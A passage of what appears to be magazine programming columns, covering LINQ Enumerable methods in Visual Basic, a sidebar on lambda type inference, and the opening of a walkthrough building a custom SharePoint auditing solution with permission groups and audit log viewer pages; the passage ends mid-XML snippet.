Given that LINQ uses deferred execution to retrieve data, and you may want to virtualize access to large sets of data, you need some way to retrieve a specific number of rows from a data source, starting at a particular offset within the data. To satisfy these needs, you can use the Enumerable.Take and Enumerable.Skip methods. These methods allow you to specify the number of rows to take and the number of rows to skip before starting to take rows. The sample project includes the following simple code, which returns 5 rows after skipping 10 rows:
Dim db As New SimpleDataContext
Dim products = (From p In db.Products _
   Order By p.ProductName _
     Select String.Format("{0}: {1}", p.ProductID, p.ProductName)). _
       Skip(10).Take(5)
You can use the Enumerable.TakeWhile and Enumerable.SkipWhile methods to take and skip values in a sequence while some condition is true. The TakeWhile method takes values while a condition is true and returns a sequence containing all the values it took. The SkipWhile method skips values as long as the condition is true and returns the remainder of the input sequence.
The sample procedure in Figure 7 creates a generic List(Of Integer) containing random integers. It then takes values while each item is less than a specific number and displays the results (the GetCommaList method in the sample creates a comma-delimited string containing the contents of the input sequence). The code also shows a second way to call SkipWhile and TakeWhile, passing the index of each item to the function that performs the decision making, and it supplies results shown at the bottom of Figure 7.
Figure 7 SkipWhile and TakeWhile
' From TakeWhileSkipWhileDemo
Dim sw As New StringWriter
Dim rnd As New Random
Dim cutOff As Integer = rnd.Next(50, 100)

' Create a list containing a fixed set of random numbers:
Dim items As New List(Of Integer)
For i As Integer = 1 To 20
  items.Add(rnd.Next(1, 100))
Next

sw.WriteLine("The cutoff value was: {0}", cutOff)
sw.WriteLine("The full list is:")
sw.WriteLine(GetCommaList(items))

Dim list = items.TakeWhile(Function(item) item < cutOff)
' Show the list:
sw.WriteLine()
sw.WriteLine("The result list is (item < cutoff):")
sw.WriteLine(GetCommaList(list))

' Can also pass in the index to the lambda expression:
list = items.TakeWhile(Function(item, index) item > index)
sw.WriteLine()
sw.WriteLine("The result list is (TakeWhile item > index):")
sw.WriteLine(GetCommaList(list))

list = items.SkipWhile(Function(item, index) item > index)
sw.WriteLine()
sw.WriteLine("The result list is (SkipWhile item > index):")
sw.WriteLine(GetCommaList(list))

RESULTS
The cutoff value was: 77
The full list is:
8, 5, 3, 77, 34, 54, 54, 40, 62, 90, 61, 76, 30, 48, 91, 71, 83, 6, 48, 66

The result list is (item < cutoff):
8, 5, 3

The result list is (TakeWhile item > index):
8, 5, 3, 77, 34, 54, 54, 40, 62, 90, 61, 76, 30, 48, 91, 71, 83

The result list is (SkipWhile item > index):
6, 48, 66

Calculating Sequences
The Enumerable class provides several different methods that perform calculations over sequences, and Visual Basic exposes almost all of these as query keywords. For simple calculations, you should use the Enumerable.Average, Enumerable.Count, Enumerable.LongCount, Enumerable.Max, Enumerable.Min, or Enumerable.Sum methods. For any other calculation, use the Enumerable.Aggregate method and provide a function that performs the specific calculation you need.
The Count and LongCount methods require no parameters and count all the elements in the input sequence; you can also specify a function as a parameter and have the function filter the results before counting. All the other methods let you call them without a parameter, but only if the input sequence has a single column. Otherwise, you must provide a function that indicates what value you want to calculate. The code in Figure 8 performs some simple calculations. The comments in the code provide further explanation.
Figure 8 Counts and Averages
' From SimpleCalculationDemo in the sample:
Dim db As New SimpleDataContext
Dim decimalResults = _
  From product In db.Products _
  Where product.CategoryID = 1 _
  Select product.UnitPrice

average = decimalResults.Average()

Dim results = _
  From product In db.Products _
  Where product.CategoryID = 1

average = results.Average(Function(prod) prod.UnitPrice)

' If you need an Int64 result, use Enumerable.LongCount().
' Supply no parameter to count all elements in the sequence.
' Supply a function to filter the results before counting:
Dim count = results.Count()

' Calculate filtered count:
count = results.Count( _
  Function(prod) prod.ProductName.StartsWith("C"))

' Retrieve the maximum unit price.
Dim max = results.Max(Function(prod) prod.UnitPrice)

' Retrieve the minimum unit price for products
' whose name starts with C.
Dim min = _
  results. _
    Where(Function(prod)
      prod.ProductName.StartsWith("C")). _
      Min(Function(prod As Product) prod.UnitPrice)

' Calculate sum of units in stock:
Dim total = results.Sum(Function(prod) prod.UnitsInStock)
Imagine that you need to find the standard deviation of the UnitPrice field in the Products table. This calculation determines a value that indicates how far from the mean, in general, the prices are. To calculate standard deviation, you first calculate the variance in the prices (involving the average of the sum of the squares of the differences between the prices and the mean price), and then take the square root of the result. The Enumerable class doesn't provide a simple method to do this for you, but you can use a combination of the Average and Aggregate methods to produce the result.
To call Aggregate, supply a "seed" value (that is, the initial value of the calculated result) and a calculating function that accepts two parameters: the first contains the current total value, and the second contains the specific item to be aggregated. Within the function, perform the calculation. For example, to sum the squares of the difference between the UnitPrice and the mean price, you could create an aggregating function like this:
Function(current As Decimal, item As Product) _
  current + CDec((item.UnitPrice - averagePrice) ^ 2))
The code in Figure 9 calculates the standard deviation.
Figure 9 Standard Deviation
' From AggregateDemo in the sample:
Dim db As New SimpleDataContext
Dim results = _
  From product In db.Products _
  Where product.CategoryID = 1

' Calculate the average price. Note the call to
' CDec--because the UnitPrice field is nullable,
' you must convert from Decimal? to Decimal:
Dim averagePrice = _
CDec(results.Average(Function(prod) prod.UnitPrice))

' Note that the seed value is 0:
Dim sumSquares = results.Aggregate(0, _
  Function(current As Decimal, item As Product) _
    current + CDec((item.UnitPrice - averagePrice) ^ 2))

Dim variance = sumSquares / results.Count
Dim standardDeviation = variance ^ 0.5
You can use the Aggregate method on non-numeric values as well. You previously saw an example that cast a list as an array of String values, so that you could use the String.Join method. You can accomplish the same goal using the Aggregate method:
' From AggregateDemo in the sample:
Dim db As New SimpleDataContext
Dim customers = _
  From cust In db.Customers _
  Where cust.Country = "France" _
  Select cust.ContactName

' Note that the seed value is an empty string:
Dim customerNames = customers.Aggregate(String.Empty, _
  Function(current, name) _
    If(String.IsNullOrEmpty(current), name, current & ", " & name))

Performing Set Operations
The Enumerable class provides methods that perform set operations, such as calculations of unions and intersections. This final section investigates the methods of the class that provide these capabilities. The first example, Figure 10, shows the Enumerable.Concat, Enumerable.Union, Enumerable.Intersect, and Enumerable.Except methods. Each method operates on a pair of sequences.
Figure 10 Using Concat, Union, Intersect, Except
' From SimpleSetDemo in the sample: Concatenates two sequences, taking
' all members of each. Union removes duplicates.
Dim db As New SimpleDataContext

' Create two sequences:
Dim group1 = db.Customers.Select(Function(cust) cust.Country).Take(5)
Dim group2 = db.Customers.Select(Function(cust) cust.Country) _
  .Skip(30).Take(5)

' Show both groups:
sw.WriteLine("group1:" & GetCommaList(group1))
sw.WriteLine("group2:" & GetCommaList(group2))

' Return the complete list of countries:
Dim group3 = group1.Concat(group2)

' Return a unique list of countries in the two groups:
group3 = group1.Union(group2)

' Find all elements in group1 that are also in group2: Can supply custom
' IEqualityComparer instance to compare items if they're not simple
' types:
group3 = group1.Intersect(group2)

' Find the differences between group1 and group2. That is, return the set
' of all items that are in the first group but not the second. This is
' equivalent to calculating the union of the two, and removing the
' contents of the intersection of the two. Can supply custom
' IEqualityComparer instance to compare items if they're not simple ' types:
group3 = group1.Except(group2)

RESULTS
group1: Germany, Mexico, Mexico, UK, Sweden
group2: France, France, France, France, Germany

group1.Concat(group2): Germany, Mexico, Mexico, UK,
Sweden, France, France, France, France, Germany

group1.Union(group2): Germany, Mexico, UK, Sweden, France
group1.Intersect(group2): Germany
group1.Except(group2): Mexico, UK, Sweden
The Concat and Union methods seem similar, combining the results of two sequences. However, the Concat method adds the output of one sequence to another, while the Union method removes duplicates from the result. The Intersect method returns a sequence with all the items common to both input sequences, and the Except method returns all items that are in the first sequence but not in the second (in other words, the difference between the two sequences). Running the code in Figure 10 produces the output at the bottom of the figure (the output first displays the two sequences, then the results of the calculations).
Note that all the samples you see here use simple, default comparers. If you want to perform set operations on sequences of more complex objects, you can call the overloaded versions of the methods that accept instances of custom comparers, as you've seen in previous examples.
The Enumerate class also supports several more complex set operations, using the Enumerable.Join, Enumerable.GroupBy, and Enumerable.GroupJoin methods. I will describe and demonstrate each of these methods in a moment.
Imagine that some method hands you two sequences that are related, and you want to join them based on the correlation of a key value in both sequences. Obviously, this task is more typically thought of as being something for a relational database to handle. However, you can use the Enumerable.Join method to do this same kind of work. Figure 11 joins a sequence containing categories with a sequence containing products.
Figure 11 Joining Two Sequences
' From ComplexSetOperationDemo in the sample:
Dim categories = _
  db.Categories.Where(Function(cat) cat.CategoryID = 3)

' If the correlation key isn't a simple type, you could
' provide a comparer to compare the two key values:
Dim result = categories.Join(db.Products, _
  Function(cat) cat.CategoryID, _
  Function(prod) prod.CategoryID, _
  Function(cat, prod) _
    New With {.CategoryName = cat.CategoryName, _
      .ProductName = prod.ProductName})

sw = New StringWriter
For Each item In result
  sw.WriteLine("{0} -- {1}", item.CategoryName, item.ProductName)
Next

RESULTS
Confections -- Pavlova
Confections -- Teatime Chocolate Biscuits
Confections -- Sir Rodney's Marmalade
' More items here. . .
Confections -- Tarte au sucre
Confections -- Scottish Longbreads
To call the Join method, you must supply a function that returns the primary key in the parent sequence, a function that returns the foreign key in the child sequence, and a function that projects the data from the two sequences into the output sequence. (If the correlation key isn't a simple type, you must also supply a custom comparer, as you've seen previously, to compare the key values.) Running the sample code in Figure 11 produces the output at the bottom of the figure.
The Enumerable.GroupBy method groups the input sequence by a key value, creating groupings of items. Each group in the output sequence contains a "header" item and an Items property that provides access to the grouped items.To call the Enumerable.GroupBy method, you must supply at least three functions. The first provides the grouping key, the second provides the resulting item in the group, and the third provides the header contents.
The code in Figure 12 groups a sequence of products by the category ID and displays the results. Running the code creates the output at the bottom of the figure, grouped by category ID.
Figure 12 Group by Category
' From ComplexSetOperationDemo in the sample:
Dim groupedProducts = _
  (From prod In db.Products _
   Where prod.UnitsInStock < 10).GroupBy( _
    Function(prod) prod.CategoryID, _
    Function(prod) _
      New With {prod.ProductName, prod.UnitsInStock}, _
    Function(catID, group) New With _
        {.CategoryID = catID, .Count = group.Count(), _
         .Items = group})

sw = New StringWriter
For Each grouping In groupedProducts
  sw.WriteLine("Category {0}: {1} item(s)", _
    grouping.CategoryID, grouping.Count)
  For Each item In grouping.Items
    sw.WriteLine("{0}{1} ({2})", vbTab, _
      item.ProductName, item.UnitsInStock)
  Next
Next

RESULTS
Category 2: 3 item(s)
  Chef Anton's Gumbo Mix (0)
  Northwoods Cranberry Sauce (6)
  Louisiana Hot Spiced Okra (4)
Category 3: 2 item(s)
  Sir Rodney's Scones (3)
  Scottish Longbreads (6)
Category 4: 2 item(s)
  Gorgonzola Telino (0)
  Mascarpone Fabioli (9)
Category 6: 3 item(s)
  Alice Mutton (0)
  Thüringer Rostbratwurst (0)
  Perth Pasties (0)
Category 7: 1 item(s)
  Longlife Tofu (4)
Category 8: 1 item(s)
  Rogede sild (5)
Finally, the Enumerable.GroupJoin method combines the functionality of the GroupBy and Join methods. This method correlates two sequences based on matching keys and groups the results in the right-hand sequence. Nothing quite like this method exists in standard database functionality, and you may find this method useful when working with related sets of data.
To call the GroupJoin method, you must supply three functions. The first function defines the key on the parent side. The second function defines the key on the child side. The third function projects the data, given the parent row and the child group, into the output format for the "one" set of rows. The two keys must be of the same type, and if the type isn't a simple type, you must provide a custom comparer so that the keys can be compared.
The sample code in Figure 13 joins category and product sequences using the category ID as the correlating key. The code specifies that the output rows contain a Category property (which contains the entire category row), a Count property (which contains the number of child rows), and an Items property (which exposes the group of child rows). The sample iterates through each grouping, prints out information about the header row, and then displays information about each child row. After running the sample, the StringWriter contains the results shown at the bottom of Figure 13.
Figure 13 Joining Category and Product Sequences
' From ComplexSetOperation in the sample:
categories = db.Categories.Where(Function(cat) cat.CategoryID < 5)
products = db.Products

Dim groupedResults = _
  categories.GroupJoin(products, _
  Function(cat) cat.CategoryID, _
  Function(prod) prod.CategoryID, _
  Function(cat, group) _
    New With {.Category = cat, .Count = group.Count, _
      .Items = group})

sw = New StringWriter
For Each grouping In groupedResults
  sw.WriteLine("{0}: {1} item(s)", _
    grouping.Category.CategoryName, grouping.Count)
  For Each item In grouping.Items
    sw.WriteLine("{0}{1} ({2})", vbTab, _
      item.ProductName, item.UnitsInStock)
  Next
Next

RESULTS
Beverages: 12 item(s)
  Chai (39)
  Chang (17)
  ' Items removed here. . .
  Lakkalikööri (57)
Condiments: 12 item(s)
  Aniseed Syrup (13)
  Chef Anton's Cajun Seasoning (53)
  ' Items removed here. . .
  Original Frankfurter grüne Soße (32)
Confections: 13 item(s)
  Pavlova (29)
  ' Items removed here. . .
  Scottish Longbreads (6)
Dairy Products: 10 item(s)
  Queso Cabrales (22)
  ' Items removed here. . .
  Mozzarella di Giovanni (14)

Summing It Up
Through its clever use of extension methods, the Enumerable class makes working with many different types of collections, lists, and sequences simpler. In addition, the Enumerable class provides the "heart" of working with LINQ queries. If you're building applications that use data from a database or any type of data structure in Visual Studio® 2008, it's worth completely internalizing the capabilities of the rich Enumerable class. You'll create more efficient code, and you'll create it faster. I constantly search for ways to make my code more declarative, and the Enumerable class makes it far easier to avoid looping and allows you to write less code.

Insights: Generics and Type Inference
Ken's been demonstrating a number of interesting ways to use lambdas and extension methods together. Let's take a look at the example where he selects all the Strings that start with the letter "A":
Dim results = query.Where(Function(item) item.StartsWith("A"))
This defines a lambda expression that operates over each element in the sequence. But how does the compiler know that item has a StartsWith method? How does the IDE know to provide IntelliSense® after "item dot"? Is that a late-bound call?
No. What's happening here is that the compiler's doing some work on your behalf through a process called "lambda parameter type inference." Let's look at the signature for the Where extension method, shown here:
<Extension()> _
  Function Where(Of T)(source As IEnumerable(Of T), _
  predicate As Func(Of T, Boolean)) As IEnumerable(Of T)
Now when the compiler sees a call to this extension method, it converts it to something like this:
Dim results = Enumerable.Where(query, Function(item) _
  item.StartsWith("A"))
Notice that no generic parameters were passed to the method—using the (Of T) syntax. You could pass them explicitly, but if you don't, the compiler will try to infer the generic type(s) based on the arguments passed in. In this case, the compiler has one generic parameter, "T," which is used in three places (in two arguments and a return value). It also has one type hint, which comes from the parameter query.
The query's type is IEnumerable(Of String), and the corresponding parameter on Where has type IEnumerable(Of T). Thus the compiler is able to infer that T must be of type String.
As a result, the compiler does not need to be given a type for the lambda expression's parameter since it already knows it from the context. Effectively, the lambda is treated exactly the same as if you'd typed this:
Function(item As String) item.StartsWith("A")
This process works the same for lambdas that take multiple parameters, saving you keystrokes and making your code more concise.
Now consider a slightly more complicated example:
Function Sum(Of T)(ByVal x As T, ByVal y As T) As T
  ...
End Function

Dim total = Sum(1, 2.0)
What type should T be now? There are two type hints: one that indicates it's an Integer and one that indicates it's a Double. As a result, if you hover over Sum you'll see that the compiler has inferred T to be a Double (which is a type wide enough to handle both an integer and a double).
In Visual Basic 2005 this would have caused a compile error (try it!); but in Visual Basic 2008 the compiler uses the new dominant type algorithm to select a type that will work for all arguments. How this algorithm works is actually pretty complicated, but you can read a simplified explanation of it in Section 8.13 of the Visual Basic 9.0 Language Specification (see go.microsoft.com/fwlink/?LinkId=123647).
What about this case?
Dim total = Sum(1D, 2)
Here the compiler will infer T to be of type Decimal since it's one of the types provided, and converting an Integer to a Decimal is a widening conversion (see go.microsoft.com/fwlink/?LinkId=123649 for more on widening and narrowing conversions).
—Jonathan Aneja, Microsoft Visual Basic Team

Send your questions and comments for Ken to basics@microsoft.com.

Ken Getz is a Senior Consultant with MCW Technologies and a courseware author for AppDev (www.appdev.com). He is coauthor of ASP.NET Developers Jumpstart, Access Developer's Handbook, and VBA Developer's Handbook, 2nd Edition. Reach him at keng@mcwtech.com.


Office Space
Custom Auditing In SharePoint
Ted Pattison

Code download available at: OfficeSpace2008_09a.exe (631 KB)
Browse the Code Online
Contents
The AuditingDemo Project
Creating a Page to Support Auditing Configuration
Extending the Site Actions Menu
Viewing Audit Log Entries
Viewing Logs on a Per-Item Basis
Many people using SharePoint® technologies don't realize that there is auditing support built directly into the Windows® SharePoint Services (WSS) 3.0 platform. The primary reason this is not well-known is that WSS auditing support is turned off by default, and it cannot be enabled using anything supplied by WSS out of the box. Taking advantage of the WSS auditing infrastructure requires extra code that is not included with WSS.
One simple way to take advantage of WSS auditing support is to use Microsoft® Office SharePoint Server (MOSS) 2007. MOSS provides a user interface (under Site Settings > Configure Audit Settings) that allows a site-collection owner to enable and configure automatic activity event logging. MOSS also provides an audit-reporting facility that reads audit log entries and reports on which users have been engaging in activities, such as reading and writing content, within a specific site collection.
A second approach to using WSS auditing support will appeal to you as a developer. You can build a custom SharePoint solution with Visual Studio® and create a custom application page that allows a site-collection administrator to enable and configure WSS activity event logging. But it's not enough just to turn on automatic activity event logging. It requires more than that. A custom auditing solution targeting WSS must also include some type of user interface so that users can view or report on audit entries that have been added to the WSS audit log.
Two years ago, not long after Microsoft released the first public beta for MOSS 2007, Joanna Bichsel and I published a white paper titled "Item-Level Auditing with SharePoint Server 2007" (msdn.microsoft.com/library/bb397403), along with an accompanying code sample. In this white paper, we discussed many important details about how to program auditing support in WSS. We also covered how MOSS leverages and extends the WSS auditing infrastructure using custom policies and audit report generation.
In this month's column I am going to walk through a new SharePoint solution I recently created with a Visual Studio project named AuditingDemo. The project contains some of the same auditing management code I covered in the white paper, such as the code that enables auditing support through the WSS object model. However, the AuditingDemo project has been totally redesigned and is a much better starting point than the sample code I wrote two years ago. For example, the AuditingDemo project has been created using the STSDEV utility, and I have incorporated many best practices in areas such as solution-package deployment, security programming, and security trimming.
My goal with this month's column is to explain these updated best practices and SharePoint development techniques. It is my intention to complement the original white paper rather than overlap its content. If you have not read the original white paper, I recommend taking a look at it first so that you have a proper context for this month's column.

The AuditingDemo Project
The purpose of the AuditingDemo project is to provide a custom SharePoint solution that can take advantage of the auditing support built into the WSS platform. I designed the project around a scenario wherein a site-collection owner (or another user in the role of Audit Manager) can enable, view, and modify audit settings for the current site collection. The AuditingDemo project also provides viewing capabilities so that a user in the role of an auditor can see what's in the audit log to determine what activity has occurred on a site-collection-wide basis and also on a per-item or per-document basis.
As I mentioned earlier, this project was built using the STSDEV utility, which you can download from codeplex.com/stsdev. You can read about it in my March 2008 Office Space column (msdn.microsoft.com/magazine/cc337895).
The AuditingDemo project has been designed with a central feature (also named AuditingDemo) that is scoped to the level of the site collection. To use the AuditingDemo, you simply need to activate the feature once per site collection.
The AuditingDemo feature includes a feature receiver class with a FeatureActivated event handler (see Figure 1). The code inside FeatureActivated executes during feature activation, and it accomplishes two important things. First, it fully enables audit logging for the entire site collection. Second, it creates a few security objects specific to the AuditingDemo solution. In particular, the code inside FeatureActivated creates two new SharePoint groups and two new permission levels that allow the site-collection administrator to add users into the roles of Auditor and Audit Manager.
Figure 1 The FeatureActivated Event Handler
public override void FeatureActivated(SPFeatureReceiverProperties
  properties) {
  using (SPSite siteCollection = (SPSite)properties.Feature.Parent) {
    SPWeb TopLevelSite = siteCollection.RootWeb;

    // Turn on auditing flags.
    siteCollection.Audit.AuditFlags = SPAuditMaskType.All;
    siteCollection.Audit.Update();

    // create permission levels
    SPRoleDefinition AuditorPermissions, AuditManagerPermissions;
    AuditorPermissions = CreatePermissionLevel(
      "Auditor Permissions",
      "Can view audit logs",
      "Read");
    AuditManagerPermissions = CreatePermissionLevel(
      "Audit Manager Permissions",
      "Can configure auditing support",
      "Design",
      SPBasePermissions.ManageWeb);

    // create Auditors group
    SPGroup Auditors = CreateGroup(
      "Auditors",
      "for users who need to audit user activity");
    SPRoleAssignment AuditorRoleAssignment = new SPRoleAssignment(Auditors);
    AuditorRoleAssignment.RoleDefinitionBindings.Add(AuditorPermissions);
    TopLevelSite.RoleAssignments.Add(AuditorRoleAssignment);

    // create Audit Managers group
    SPGroup AuditManagers = CreateGroup(
      "Audit Managers",
      "for users who configure WSS auditing support");
    SPRoleAssignment AuditManagerRoleAssignment =
      new SPRoleAssignment(AuditManagers);
    AuditManagerRoleAssignment.RoleDefinitionBindings.Add(
      AuditManagerPermissions);
    TopLevelSite.RoleAssignments.Add(AuditManagersRoleAssignment);
}
Note that the code in the FeatureActivated event handler calls the two utility methods named CreatePermissionLevel and CreateGroup. The reason I wrote these was to ensure that any preexisting security objects with the same name as those being created were first deleted. Each method then creates the requested security object (permission level or group), adds it to the appropriate collection within the top-level site, and returns a strongly typed security object to the caller. The CreatePermissionLevel method returns an SPRoleDefinition object that represents the new permission level, and the CreateGroup method returns an SPGroup.
Note that I designed the CreatePermissionLevel method with several overloaded implementations that make the third and fourth parameters optional. The third parameter is for passing the name of an existing permission level that is used to make a copy for the new permission level. For example, the AuditorPermissions permission level is created by making a copy of the built-in Read permission level. And the AuditManagerPermissions permission level is created by making a copy of the built-in Design permission level.
The fourth parameter to the CreatePermissionLevel method is of the SPBasePermissions type, which is used to pass one or more extra permissions that are then used to initialize the new permission level. For example, the call to CreatePermissionLevel that creates the SPRoleDefinition object AuditManagerPermissions passes a value of ManageWeb for the fourth parameter. This means that the new permission level is created with the same permissions as the built-in Design permission level plus the ManageWeb permission.
The ManageWeb permission is important because it's required for users who need to adjust audit settings. I will cover two security trimming techniques later in this column that can be used to display menu items to just those users that have this permission.
The CreateGroup method does a little more than add a new group to the top-level site. It also adds the new group to the associated group's collection and adds the ID of the new group into a site-level property named vti_associatemembergroup. This extra code is important if you want the new group to show up in the group's QuickLaunch bar and inside the combobox of the Add Users page, which makes it far more intuitive for the site-collection owner to add users to the new group.

Creating a Page to Support Auditing Configuration
The AuditingDemo project provides three custom app pages—AuditConfig.aspx, AuditLogViewer.aspx, and ItemAudit.aspx—that were developed using best-practice techniques. For example, these application pages are deployed within a solution-specific directory named AuditingDemo inside the LAYOUTS directory. The code that provides the behavior for these pages has been written in codebehind files (such as AuditConfig.cs). The codebehind files are then compiled into the project's main assembly, AuditingDemo.dll, which is installed and loaded from the Global Assembly Cache (GAC).
The AuditConfig.aspx application page provides a user interface for configuring WSS auditing support. I added a CustomAction to the AuditingDemo feature so that users with the ManageWeb permission will be presented with a link on a site-settings page that allows them to navigate to AuditConfig.aspx:
<!-- Add Link to Site Setting Page -->
<CustomAction
  Id="SiteActionsToolbar"
  GroupId="SiteCollectionAdmin"
  Location="Microsoft.SharePoint.SiteSettings"
  Sequence="0"
  Rights="ManageWebs"
  Title="Audit Management" >
  <UrlAction Url="~sitecollection/_layouts/AuditingDemo/AuditConfig.aspx"/>
</CustomAction>
Note that I created this custom action with a GroupId attribute value of SiteCollectionAdmin and a Sequence attribute value of 0. This is what makes the link show up first in the Site Collection Administration column of the Site Settings page.
The Rights attribute, which I have included with a value of ManageWebs, is used by WSS to provide declarative security trimming. Therefore, only users who have the ManageWebs permission will see this link. This will be the case for site-collection owners as well as any users that the site-collection owner has added to the role of Audit Manager.
When users navigate to AuditConfig.aspx, they see the UI in Figure 2. As you can see, this application page provides radio buttons to fully enable or disable auditing. You will also find a radio button for entering a selective mode where the user can choose exactly what activities are recorded with an audit log entry.
Figure 2 AuditConfig.aspx Lets Users Configure Audit Logging
The code that is behind the OK button of AuditConfig.aspx is pretty simple. It reads which radio button has been selected by the user and sets the audit flags for the current site collection to the appropriate value. Then it calls Update on the Audit property to record the changes into the Content Database:
SPSite siteCollection = this.Site;
if (radAuditingOff.Checked) {
  siteCollection.Audit.AuditFlags = SPAuditMaskType.None;
}
if (radAuditingOnFull.Checked) {
  siteCollection.Audit.AuditFlags = SPAuditMaskType.All;
}
if (radAuditingOnSelective.Checked) {
  siteCollection.Audit.AuditFlags = GetSelectiveAuditingFlags();
}
siteCollection.Audit.Update();
If the user has chosen the option for selective auditing configuration, there is a call to the GetSelectiveAuditingFlags utility method. It inspects all those checkboxes and uses bitwise OR operations to return an SPAuditTypeMask value that represents a combination of all the types of activities that the user has selected for auditing:
private SPAuditMaskType GetSelectiveAuditingFlags() {
  SPAuditMaskType AuditFlags = SPAuditMaskType.None;
  if (chkAuditView.Checked) {
    AuditFlags |= SPAuditMaskType.View;
  }
  if (chkAuditUpdate.Checked) {
    AuditFlags |= SPAuditMaskType.Update;
  }
  // Repeat for Copy, Move, Delete, Undelete, CheckIn, CheckOut,
  // Search, Workflow, SecurityChange, ProfileChange, SchemaChange
  return AuditFlags;
}

Extending the Site Actions Menu
I've provided navigation support so that users can get to the AuditLogViewer.aspx application page. This is a page designed for users in the role of auditor who want to see what activity has occurred on the site. I decided against putting another link on the Site Settings page because many of the users in the role of auditor may not necessarily be administrators and therefore may never go to the Site Settings page for any other reason. Therefore, adding navigation support using the custom Site Actions menu items seemed more intuitive. It also gives me a chance to show you how to create a flyout menu with programmatic security trimming.
When you want to build a menu item dynamically, you need to create a custom control class and also add a declarative CustomAction element to instantiate an instance of the control class in the correct place. Note how the following CustomAction element differs from the one I showed earlier:
<Elements xmlns="http://schemas.microsoft.com/sharepoint/">
  <!-- Add Command to Site Actions Dropdown -->
  <CustomAction Id="AuditingSupport"
    GroupId="SiteActions"
    Location="Microsoft.SharePoint.StandardMenu"
    Sequence="1000"
    ControlClass="AuditingDemo.SiteActionsCustomSubMenu"
    ControlAssembly="AuditingDemo, [4-part name]"
    Title="Auditing Support"
    Description="Support for configuring and viewing auditing" />
</Elements>
The main difference with this CustomAction element is that it has been declared using a ControlClass attribute and a ControlAssembly attribute instead of a UrlAction element. This makes it possible to generate menu items dynamically using a custom control class such as the SiteActionsCustomSubMenu, which is used in the AuditingDemo project and is shown in the code in Figure 3. Note that a custom control class must inherit from the WebControl class supplied by the ASP.NET programming model.
Figure 3 SiteActionsCustomSubMenu
public class SiteActionsCustomSubMenu : WebControl {

  protected override void OnLoad(EventArgs e) {
    this.EnsureChildControls();
    base.OnLoad(e);
  }

  protected override void CreateChildControls() {
    SPSite siteCollection = SPContext.Current.Site;
    SPWeb site = SPContext.Current.Web;
    SPUser user = site.CurrentUser;
    // provide security trimming
    if (IsCurrentUserInGroup("Auditors") ||
        IsCurrentUserInGroup("Audit Managers") ||
        user.IsSiteAdmin) {
      string siteCollectionPath = siteCollection.Url;
      if (!siteCollectionPath.EndsWith(@"/"))
        siteCollectionPath += "/";

      SubMenuTemplate smt = new SubMenuTemplate();
      smt.Text = "Auditing Support";
      smt.ID = "mnuAuditingSupport";
      smt.Description = "Configure and View Auditing";
      smt.ImageUrl = siteCollectionPath +
                     @"_layouts/images/AuditingDemo/AfricanPith32.gif";
      smt.Sequence = 400;

      MenuItemTemplate mit1 = new MenuItemTemplate();
      mit1.ID = "mnuAuditLog";
      mit1.Text = "Audit Log";
      mit1.Description = "Inspect Audit Entries";
      mit1.Sequence = 401;
      mit1.ClientOnClickNavigateUrl = siteCollectionPath +
        "_layouts/AuditingDemo/AuditLogViewer.aspx";
      mit1.ImageUrl = siteCollectionPath +
        @"_layouts/images/AuditingDemo/Binoculars32.gif";
      // add menu item to Controls collection
      smt.Controls.Add(mit1);
      // perform extra security trimming for menu for AuditConfig.aspx
      if (IsCurrentUserInGroup("Audit Managers") || user.IsSiteAdmin) {
        MenuItemTemplate mit2 = new MenuItemTemplate();
        mit2.ID = "mnuAuditingConfiguration";
        mit2.Text = "Auditing Configuration";
        mit2.Description = "Enable/Disable Auditing";
        mit2.Sequence = 402;
        mit2.ClientOnClickNavigateUrl = siteCollectionPath +
          "_layouts/AuditingDemo/AuditConfig.aspx";
        mit2.ImageUrl = siteCollectionPath +
          @"_layouts/images/AuditingDemo/Compass32.gif";
        smt.Controls.Add(mit2);
      }

      this.Controls.Add(smt);
    }
  }

  private bool IsCurrentUserInGroup(string GroupName) {
    SPWeb site = SPContext.Current.Web;
    foreach (SPGroup group in site.SiteGroups) {
      if (group.Name.Equals(GroupName)) {
        return group.ContainsCurrentUser;
      }
    }
    throw new ApplicationException("There is no group named " +
      GroupName);
  }
}
The CreateChildControls method provides dynamic security trimming. Note that the entire flyout menu is only shown to users who are either site-collection owners or who have been added to the Auditors or Audit Manager groups. The second menu item, which allows a user to navigate to the AuditConfig.aspx page, is further trimmed to exclude users in the Auditors group. This menu is only displayed to site-collection owners or users who have been added to the Audit Manager group.
There is one more important point I want to make about creating a dynamic menu with a custom control class. Like a Web Part, a custom control class requires a SafeControl entry in the web.config file of the hosting Web application. Here, the STSDEV utility provides the support for adding this SafeControl. It adds the appropriate elements into the manifest.xml file, and, as a result, the required SafeControl entry is automatically added to one or more web.config files whenever the AuditingDemo.wsp solution package is deployed within a farm.

Viewing Audit Log Entries
The AuditingDemo solution provides the AuditLogViewer.aspx custom application page shown in Figure 4. This page provides the users with a view of all the audit entries for the entire site collection. There is also a button on this page with the caption Clear Audit Log. This button is security trimmed so it is only shown to site-collection owners. The code behind this button deletes all entries from the audit log, which you might find to be helpful while testing a custom auditing solution.
Figure 4 AuditLogViewer.aspx Displays Audit Log Entries
The code behind AuditLogViewer.aspx uses an SPAuditQuery object to query the audit log of the current site collection. A query is run by calling the GetEntries method on the Audit property of an SPSite object. A call to GetEntries returns an SPAuditEntryCollection object that can be enumerated to inspect each audit entry as an SPAuditEntry object:
SPSite SiteCollection = SPContext.Current.Site;
  SPAuditQuery wssQuery = new SPAuditQuery(SiteCollection);
  SPAuditEntryCollection auditCol =
    SiteCollection.Audit.GetEntries(wssQuery);
  foreach (SPAuditEntry entry in auditCol) {
    // enumererate through each audit entry
  }
There are many ways in which you can enumerate through an SPAuditEntryCollection to create a display. I used a technique where I dynamically create an ADO.NET DataTable object and then populate it with one row of information per audit entry. By creating a DataTable, it becomes relatively simple to display the audit information by binding it to an SPGridView control.
The code behind the AuditLogViewer.aspx page must deal with a special security concern. If you examine the code that queries the audit log, you will see that it first makes a call to RunWithElevatedPrivileges so that it can run under the identity of the privileged SHAREPOINT\System account. Using this technique is required because querying the audit log is a privileged operation.
There will likely be scenarios where a user is added into the role of Auditor, but this user will not be granted the permissions that are necessary in order to query the audit log. Therefore, a call to RunWithElevatedPrivileges allows your code to query the audit log, even if the current user does not have the required permissions to do so.

Viewing Logs on a Per-Item Basis
The third application page in the AuditingDemo project is ItemAudit.aspx. This page shows audit entries for one particular item or document. Navigation to this page is provided by adding a CustomAction element that adds a new EditControlBlock (ECB) menu item to the built-in Item content type:
<CustomAction Id="ItemAuditing.ECBItemMenu"
     RegistrationType="ContentType"
     RegistrationId="0x01"
